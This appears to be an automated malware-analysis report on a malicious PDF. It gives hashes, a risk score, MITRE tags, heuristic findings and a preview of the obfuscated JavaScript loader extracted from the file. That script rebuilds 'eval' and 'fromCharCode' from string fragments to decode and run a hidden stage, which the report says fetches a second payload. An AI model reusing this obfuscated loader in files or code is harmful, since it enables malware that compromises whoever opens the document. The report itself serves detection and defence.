Malicious PDF — malware analysis report

Static analysis result for SHA-256 85b9564adb619294…

MALICIOUS

PDF

45.1 KB Authoring application: substr First seen: 2012-10-18
MD5: 8b168ce40719e309a33d38c0e76ea801 SHA-1: b0127a2a93b2ef5fc2043c4d26c8a262f84aa89f SHA-256: 85b9564adb619294481c467e0160b96ad21202a715f31d835f7718f4d766167d
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. This script attempts to reconstruct a URL from concatenated strings and then execute it. The script's primary function appears to be downloading and executing a second-stage payload, indicated by the 'e(s2)' call at the end. The obfuscation and loader behavior strongly suggest a malicious intent, likely delivered via spearphishing.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1C4 443 bytes
SHA-256: d4796b4fda287dee3f2a57358497cb38dadfc35eafc2476cb208775ac201166b
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
tgeq=e('ti'.concat(v[4],t));
q=tgeq[v](a.length-6,a.length+2);
kxq=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=tgeq[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	nmog = 1*(q[i]);
	i++;
	nmog -= (-1)*(q[i]);
	s2 = s2.concat(kxq(nmog));
	i++;
}
e(s2);

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